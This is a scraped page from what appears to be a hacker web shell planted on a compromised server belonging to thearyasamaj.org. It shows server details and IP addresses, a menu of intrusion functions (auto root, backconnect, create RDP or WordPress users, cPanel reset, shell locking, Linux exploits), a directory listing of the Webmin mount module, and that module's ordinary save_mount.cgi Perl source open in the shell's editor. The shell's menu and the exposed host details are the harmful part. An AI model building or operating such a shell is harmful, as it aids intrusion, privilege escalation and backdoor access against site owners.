Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
mount /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.73
KB
-rw-r--r--
acl_security.pl
1.59
KB
-rwxr-xr-x
backup_config.pl
686
B
-rwxr-xr-x
cgi_args.pl
325
B
-rwxr-xr-x
config-cobalt-linux
132
B
-rw-r--r--
config-coherent-linux
186
B
-rw-r--r--
config-corel-linux
160
B
-rw-r--r--
config-debian-linux
206
B
-rw-r--r--
config-freebsd
172
B
-rw-r--r--
config-generic-linux
133
B
-rw-r--r--
config-gentoo-linux
169
B
-rw-r--r--
config-hpux
172
B
-rw-r--r--
config-lfs-linux
154
B
-rw-r--r--
config-macos
150
B
-rw-r--r--
config-mandrake-linux
186
B
-rw-r--r--
config-msc-linux
186
B
-rw-r--r--
config-netbsd
172
B
-rw-r--r--
config-open-linux
158
B
-rw-r--r--
config-open-linux-3.1e
177
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
162
B
-rw-r--r--
config-openbsd
172
B
-rw-r--r--
config-openmamba-linux
162
B
-rw-r--r--
config-osf1
230
B
-rw-r--r--
config-pardus-linux
133
B
-rw-r--r--
config-redhat-linux
162
B
-rw-r--r--
config-redhat-linux-5.0-6.0
191
B
-rw-r--r--
config-redhat-linux-6.1-ALL
186
B
-rw-r--r--
config-slackware-linux
133
B
-rw-r--r--
config-sol-linux
292
B
-rw-r--r--
config-solaris
205
B
-rw-r--r--
config-suse-linux
162
B
-rw-r--r--
config-syno-linux
133
B
-rw-r--r--
config-trustix-linux
186
B
-rw-r--r--
config-turbo-linux
191
B
-rw-r--r--
config-turbo-linux-4.0
191
B
-rw-r--r--
config-united-linux
162
B
-rw-r--r--
config.info
800
B
-rw-r--r--
config.info.ca
1
KB
-rw-r--r--
config.info.cs
747
B
-rw-r--r--
config.info.de
959
B
-rw-r--r--
config.info.es
431
B
-rw-r--r--
config.info.fa
1010
B
-rw-r--r--
config.info.fr
400
B
-rw-r--r--
config.info.ja
760
B
-rw-r--r--
config.info.ko
565
B
-rw-r--r--
config.info.nl
654
B
-rw-r--r--
config.info.no
668
B
-rw-r--r--
config.info.pl
475
B
-rw-r--r--
config.info.pt_BR
701
B
-rw-r--r--
config.info.ru
736
B
-rw-r--r--
config.info.sv
369
B
-rw-r--r--
config.info.tr
579
B
-rw-r--r--
config.info.uk
741
B
-rw-r--r--
config.info.zh
347
B
-rw-r--r--
config.info.zh_TW
403
B
-rw-r--r--
create_swap.cgi
466
B
-rwxr-xr-x
defaultacl
60
B
-rw-r--r--
edit_mount.cgi
4.11
KB
-rwxr-xr-x
freebsd-lib.pl
33.4
KB
-rwxr-xr-x
hpux-lib.pl
35.81
KB
-rwxr-xr-x
index.cgi
4.31
KB
-rwxr-xr-x
linux-lib.pl
71.9
KB
-rwxr-xr-x
log_parser.pl
626
B
-rwxr-xr-x
macos-lib.pl
3.85
KB
-rwxr-xr-x
module.info
292
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
168
B
-rw-r--r--
module.info.ar
190
B
-rw-r--r--
module.info.ar.auto
28
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
286
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
281
B
-rw-r--r--
module.info.ca
161
B
-rw-r--r--
module.info.ca.auto
25
B
-rw-r--r--
module.info.cs
48
B
-rw-r--r--
module.info.cs.auto
142
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
162
B
-rw-r--r--
module.info.de
162
B
-rw-r--r--
module.info.de.auto
28
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
322
B
-rw-r--r--
module.info.es
43
B
-rw-r--r--
module.info.es.auto
151
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
169
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
203
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
191
B
-rw-r--r--
module.info.fr
37
B
-rw-r--r--
module.info.fr.auto
161
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
213
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
192
B
-rw-r--r--
module.info.hu
35
B
-rw-r--r--
module.info.hu.auto
139
B
-rw-r--r--
module.info.it
22
B
-rw-r--r--
module.info.it.auto
126
B
-rw-r--r--
module.info.ja
75
B
-rw-r--r--
module.info.ja.auto
202
B
-rw-r--r--
module.info.ko
51
B
-rw-r--r--
module.info.ko.auto
170
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
180
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
192
B
-rw-r--r--
module.info.ms
144
B
-rw-r--r--
module.info.ms.auto
24
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
177
B
-rw-r--r--
module.info.nl
41
B
-rw-r--r--
module.info.nl.auto
129
B
-rw-r--r--
module.info.no
39
B
-rw-r--r--
module.info.no.auto
120
B
-rw-r--r--
module.info.pl
44
B
-rw-r--r--
module.info.pl.auto
131
B
-rw-r--r--
module.info.pt
45
B
-rw-r--r--
module.info.pt.auto
143
B
-rw-r--r--
module.info.pt_BR
47
B
-rw-r--r--
module.info.pt_BR.auto
149
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
188
B
-rw-r--r--
module.info.ru
40
B
-rw-r--r--
module.info.ru.auto
211
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
207
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
192
B
-rw-r--r--
module.info.sv
43
B
-rw-r--r--
module.info.sv.auto
124
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
305
B
-rw-r--r--
module.info.tr
34
B
-rw-r--r--
module.info.tr.auto
146
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
291
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
249
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
208
B
-rw-r--r--
module.info.zh
36
B
-rw-r--r--
module.info.zh.auto
126
B
-rw-r--r--
module.info.zh_TW
39
B
-rw-r--r--
module.info.zh_TW.auto
132
B
-rw-r--r--
mount-lib.pl
10.67
KB
-rwxr-xr-x
mount.cgi
465
B
-rwxr-xr-x
netbsd-lib.pl
24.54
KB
-rwxr-xr-x
netbsd-mounts-2.c
1.04
KB
-rw-r--r--
netbsd-mounts-3.c
1.09
KB
-rw-r--r--
netbsd-mounts.c
1.08
KB
-rw-r--r--
nfs_export.cgi
1.13
KB
-rwxr-xr-x
nfs_server.cgi
1.79
KB
-rwxr-xr-x
openbsd-lib.pl
24.27
KB
-rwxr-xr-x
osf1-lib.pl
11.25
KB
-rwxr-xr-x
prefs.info
49
B
-rw-r--r--
rbac-mapping
135
B
-rw-r--r--
save_mount.cgi
13.23
KB
-rwxr-xr-x
smb_server.cgi
1.94
KB
-rwxr-xr-x
smb_share.cgi
1.29
KB
-rwxr-xr-x
solaris-lib.pl
56.62
KB
-rwxr-xr-x
system_info.pl
2.31
KB
-rw-r--r--
unmount.cgi
503
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_mount.cgi
#!/usr/bin/perl # save_mount.cgi # Save or create a mount. When saving an existing mount, at lot of different # things can happen. require './mount-lib.pl'; &error_setup($text{'save_err'}); &ReadParse(); $| = 1; # Check for redirect to proc module to list processes on the FS if ($in{'lsof'}) { &redirect("../proc/index_search.cgi?mode=3&fs=".&urlize($in{'lsoffs'})); return; } # check inputs if ($in{type} ne "swap") { if ($in{directory} !~ /^\//) { if (@access_fs && $in{directory}) { # Assume relative to allowed dir $in{directory} = $access_fs[0]."/".$in{directory}; } else { &error(&text('save_edirname', $in{'directory'})); } } if (-r $in{'directory'} && !(-d $in{'directory'})) { &error(&text('save_edir', $in{'directory'})); } # non-existant directories get created later } else { # for swap files, set the directory to 'swap' $in{directory} = "swap"; } &can_edit_fs($in{'directory'}, undef, $in{'type'}, undef, 1) && !$access{'only'} || &error($text{'edit_ecannot'}); $access{'create'} || defined($in{'old'}) || &error($text{'edit_ecannot2'}); # Get user choices @mmodes = &mount_modes($in{type}); $msave = ($mmodes[0]==0 ? 0 : $in{msave}); $mnow = ($mmodes[1]==0 ? $msave : $in{mmount}); foreach $f (&files_to_lock()) { &lock_file($f); } if (defined($in{old})) { # Saving an existing mount if ($in{temp}) { @mlist = &list_mounted(); } else { @mlist = &list_mounts(); } @mold = @{$mlist[$in{old}]}; if (!$mnow && !$in{oldmnow} && !$msave) { # Not mounted, so remove from fstab without checking $dev = $mold[1]; } else { # Changing an existing mount $dev = &check_location($in{'type'}); &parse_options($mold[2], $mold[3]); $opts = &check_options($in{'type'}, $dev, $in{'directory'}); @minfo = ($in{'directory'}, $dev, $in{'type'}, $opts, $mmodes[2] ? $in{'order'} : "-", $in{'msave'}==2||$mmodes[0]==1 ? "yes" : "no"); } # Check for change in device if ($mold[1] ne $dev) { # Device has changed..check it if (!&multiple_mount($minfo[2]) && &get_mounted("*", $dev)>=0) { &error(&text('save_ealready', $dev)); } if (!&multiple_mount($minfo[2]) && &get_mount("*", $dev) != -1){ &error(&text('save_ealready2', $dev)); } $changed = 1; } # Check for change in directory if ($in{type} ne "swap" && $mold[0] ne $in{directory}) { # Directory has changed.. check it too if (&get_mounted($in{directory}, "*")>=0) { &error(&text('save_ealready3', $in{'directory'})); } if (&get_mount($in{directory}, "*") != -1) { &error(&text('save_ealready4', $in{'directory'})); } $changed = 1; if (!(-d $in{directory})) { # Create the new directory &lock_file($in{directory}); &make_dir($in{directory}, 0755) || &error(&text('save_emkdir', $in{'directory'}, $!)); &unlock_file($in{directory}); $made_dir = 1; } } # Check for change in current mount status if ($in{'oldmnow'} && $mmodes[3] == 1) { # Mounted, and cannot be unmounted } elsif ($in{'oldmnow'} && !$mnow) { # Just been unmounted.. if ($error = &unmount_dir($mold[0], $mold[1], $in{'type'}, $mold[3], $in{'force'})) { if (!$in{'force'} && $error =~ /busy|Invalid argument/ && defined(&can_force_unmount_dir) && &can_force_unmount_dir(@mold)) { # Mount is busy.. most likely because it is # currently in use. Offer the user a choice to # forcibly un-mount &ui_print_header(undef, $text{'edit_title'}, ""); print &text('save_force', "<tt>$mold[0]</tt>"), "<p>\n"; print "<form action=save_mount.cgi>\n"; print "<input type=hidden name=force ", "value=1>\n"; foreach $k (keys %in) { print "<input type=hidden name=$k ", "value=\"$in{$k}\">\n"; } print "<center>\n"; print &ui_submit($text{'save_fapply'}),"\n"; print "</center>\n"; print "</form>\n"; &ui_print_footer("", $text{'index_return'}); exit; } else { &error(&text('save_eumount', $error)); } } @tlog = ( "umount", "dir", $mold[0], { 'dir' => $mold[0], 'dev' => $mold[1], 'type' => $mold[2], 'opts' => $mold[3] } ); } elsif ($mnow && !$in{oldmnow}) { # Just been mounted.. if ($error = &mount_dir(@minfo)) { &error(&text('save_emount', $error)); } @tlog = ( "mount", "dir", $minfo[0], { 'dir' => $minfo[0], 'dev' => $minfo[1], 'type' => $minfo[2], 'opts' => $minfo[3] } ); } elsif (!$mnow && !$in{oldmnow}) { # Not mounted, and doesn't need to be } elsif ($mold[0] eq $minfo[0] && $mold[1] eq $minfo[1] && &diff_opts($mold[3], $minfo[3]) && !$in{'perm_only'} && defined(&os_remount_dir)) { # Only options have changed .. just call remount if ($error = &remount_dir(@minfo)) { &error(&text('save_eremount', $error)); } @tlog = ( "remount", "dir", $minfo[0], { 'dir' => $minfo[0], 'dev' => $minfo[1], 'type' => $minfo[2], 'opts' => $minfo[3] } ); } elsif (($mold[0] ne $minfo[0] || $mold[1] ne $minfo[1] || &diff_opts($mold[3], $minfo[3])) && !$in{'perm_only'}) { # Need to unmount/mount to apply new options if ($error = &unmount_dir($mold[0], $mold[1], $in{type})) { if ($error =~ /busy|Invalid argument/ && $msave) { # Mount is busy.. most likely because it is # currently in use. Offer the user a choice # to update only the fstab file, rather than # the real mount &ui_print_header(undef, $text{'edit_title'}, ""); print &text('save_perm', "<tt>$mold[0]</tt>"), "<p>\n"; print "<form action=save_mount.cgi>\n"; print "<input type=hidden name=perm_only ", "value=1>\n"; foreach $k (keys %in) { print "<input type=hidden name=$k ", "value=\"$in{$k}\">\n"; } print "<center>\n"; print &ui_submit($text{'save_apply'}),"\n"; print "</center>\n"; print "</form>\n"; &ui_print_footer("", $text{'index_return'}); exit; } else { &error(&text('save_eremount', $error)); } } if ($error = &mount_dir(@minfo)) { &error(&text('save_eremount', $error)); } @tlog = ( "remount", "dir", $minfo[0], { 'dir' => $minfo[0], 'dev' => $minfo[1], 'type' => $minfo[2], 'opts' => $minfo[3] } ); } # Check for change in permanence if ($in{oldmsave} && !$msave) { # Delete from mount table &delete_mount($in{old}); @plog = ( "delete", "dir", $in{'directory'}, { 'dir' => $mold[0], 'dev' => $mold[1], 'type' => $mold[2], 'opts' => $mold[3] } ); } elsif ($msave && !$in{oldmsave}) { # Add to mount table &create_mount(@minfo); @plog = ( "create", "dir", $in{'directory'}, { 'dir' => $minfo[0], 'dev' => $minfo[1], 'type' => $minfo[2], 'opts' => $minfo[3] } ); } elsif (!$msave && !$in{oldmsave}) { # Not in mount table } elsif ($mold[0] ne $minfo[0] || $mold[1] ne $minfo[1] || $mold[4] != $minfo[4] || $mold[5] ne $minfo[5] || &diff_opts($mold[3], $minfo[3])) { # Apply any changes in mount options &change_mount($in{old}, @minfo); @plog = ( "modify", "dir", $in{'directory'}, { 'dir' => $minfo[0], 'dev' => $minfo[1], 'type' => $minfo[2], 'opts' => $minfo[3] } ); } # If no longer mounted, remove the dir if (&get_mounted(@mold) < 0) { &delete_unmounted(@mold); } } elsif (defined($in{'old'})) { # Doing a simple modification to a mount if ($in{temp}) { @mlist = &list_mounted(); $mnow = 1; } else { @mlist = &list_mounts(); $msave = 1; $now = 1 if ($in{'oldmnow'}); } @mold = @{$mlist[$in{old}]}; if ($in{'umount'}) { # Just unmount the filesystem if ($error = &unmount_dir($mold[0], $mold[1], $in{type})) { &error(&text('save_eumount', $error)); } &delete_unmounted(@mold); $mnow = 0; } elsif ($in{'mount'}) { # Just mount the filesystem if ($error = &mount_dir(@mold)) { &error(&text('save_emount', $error)); } $mnow = 1; } elsif ($in{'perm'}) { # Add to permanent mount list &create_mount($mold[0], $mold[1], $mold[2], $mold[3], 2, "yes"); $msave = 1; } elsif ($in{'delete'}) { if ($in{'oldmnow'}) { # Unmount first if ($error = &unmount_dir($mold[0], $mold[1], $in{type})) { &error(&text('save_eumount', $error)); } $mnow = 0; } # Remove from permanent list &delete_mount($in{'old'}); &delete_unmounted(@mold); $msave = 0; } else { # Updating the mount in some way .. # Check the mount source $dev = &check_location($in{'type'}); &parse_options($mold[2], $mold[3]); if (defined($access{'opts'}) && $access{'opts'} !~ /$in{'type'}/) { # Just use existing options local @opts; foreach $k (keys %options) { if ($options{$k} eq '') { push(@opts, $k); } else { push(@opts, "$k=$options{$k}"); } } $opts = @opts ? join(",", @opts) : "-"; } else { # Get options from the user $opts = &check_options($in{'type'}, $dev, $in{'directory'}); } @minfo = ($in{'directory'}, $dev, $in{'type'}, $opts, 2, 'yes'); # Check for change in device if ($mold[1] ne $dev) { # Device has changed..check it if (!&multiple_mount($minfo[2]) && &get_mounted("*", $dev)>=0) { &error(&text('save_ealready', $dev)); } if (!&multiple_mount($minfo[2]) && &get_mount("*", $dev) != -1){ &error(&text('save_ealready2', $dev)); } $changed = 1; } # Check for change in directory if ($in{type} ne "swap" && $mold[0] ne $in{directory}) { # Directory has changed.. check it too if (&get_mounted($in{directory}, "*")>=0) { &error(&text('save_ealready3', $in{'directory'})); } if (&get_mount($in{directory}, "*") != -1) { &error(&text('save_ealready4', $in{'directory'})); } $changed = 1; if (!(-d $in{directory})) { # Create the new directory &lock_file($in{directory}); &make_dir($in{directory}, 0755) || &error(&text('save_emkdir', $in{'directory'}, $!)); &unlock_file($in{directory}); $made_dir = 1; } } if ($in{'oldmnow'} && ($mold[0] ne $minfo[0] || $mold[1] ne $minfo[1] || &diff_opts($mold[3], $minfo[3]))) { # Need to unmount/mount to apply new options if ($error=&unmount_dir($mold[0], $mold[1], $in{type})){ &error(&text('save_eremount', $error)); } if ($error = &mount_dir(@minfo)) { &error(&text('save_eremount', $error)); } } if ($in{'oldmsave'}) { # Change entry in fstab &change_mount($in{'old'}, @minfo); } } } else { # Creating a new mount, complex interface $dev = &check_location($in{type}); &parse_options($minfo[3]); $opts = &check_options($in{type}, $dev, $in{'directory'}); @minfo = ($in{directory}, $dev, $in{type}, $opts, $mmodes[2] ? $in{order} : "-", $in{msave}==2||$mmodes[0]==1 ? "yes" : "no"); # Check if anything is being done if (!$msave && !$mnow) { &error($text{'save_enone'}); } # Check if the device is in use if (!&multiple_mount($minfo[2]) && &get_mounted("*", $dev)>=0) { &error(&text('save_ealready', $dev)); } if (!&multiple_mount($minfo[2]) && &get_mount("*", $dev) != -1) { &error(&text('save_ealready2', $dev)); } # Check if the directory is in use if ($in{type} ne "swap") { if (&get_mounted($in{directory}, "*")>=0) { &error(&text('save_ealready2', $in{'directory'})); } if (&get_mount($in{directory}, "*") != -1) { &error(&text('save_ealready3', $in{'directory'})); } } # Create the directory if ($in{type} ne "swap" && !(-d $in{directory})) { &lock_file($in{directory}); &make_dir($in{directory}, 0755) || &error(&text('save_emkdir', $in{'directory'}, $!)); &unlock_file($in{directory}); $made_dir = 1; } # If mounting now, attempt to do it if ($mnow) { # If the mount fails, give up totally if ($error = &mount_dir($minfo[0], $minfo[1], $minfo[2], $minfo[3])) { if ($made_dir) { rmdir($in{directory}); } &error(&text('save_emount', $error)); } @tlog = ( "mount", "dir", $in{'directory'}, { 'dir' => $minfo[0], 'dev' => $minfo[1], 'type' => $minfo[2], 'opts' => $minfo[3] } ); } # If saving, save now if ($msave) { &create_mount(@minfo); @plog = ( "create", "dir", $in{'directory'}, { 'dir' => $minfo[0], 'dev' => $minfo[1], 'type' => $minfo[2], 'opts' => $minfo[3] } ); } } foreach $f (&files_to_lock()) { &unlock_file($f); } &webmin_log(@plog) if (@plog); %tpmap = ( 'create', 'mount', 'delete', 'umount', 'modify', 'remount' ); if (@tlog && $tpmap{$plog[0]} ne $tlog[0]) { &webmin_log(@tlog); } # Mark this mount and owned by this current user $users = &get_filesystem_users(); if ($msave || $mnow) { $users->{$in{'directory'}} ||= $remote_user; } else { delete($users->{$in{'directory'}}); } &save_filesystem_users($users); &redirect($in{'return'}); # undo_changes # Put back any changes to the fstab file sub undo_changes { if ($in{temp} && $in{mboot}) { # a mount was made permanent.. undo by deleting it &delete_mount($idx); } elsif (!$in{temp} && !$in{mboot}) { # a permanent mount was made temporary.. undo by making it permanent &create_mount(@mold); } elsif ($in{mboot}) { # some mount options were changed.. undo by changing back &change_mount($in{old}, @mold); } if ($made_dir) { # A directory for mounting was created.. delete it rmdir($in{directory}); } } # diff_opts(string1, string2) sub diff_opts { local $o1 = join(",", sort { $a cmp $b } split(/,/, $_[0])); local $o2 = join(",", sort { $a cmp $b } split(/,/, $_[1])); return $o1 ne $o2; }
Close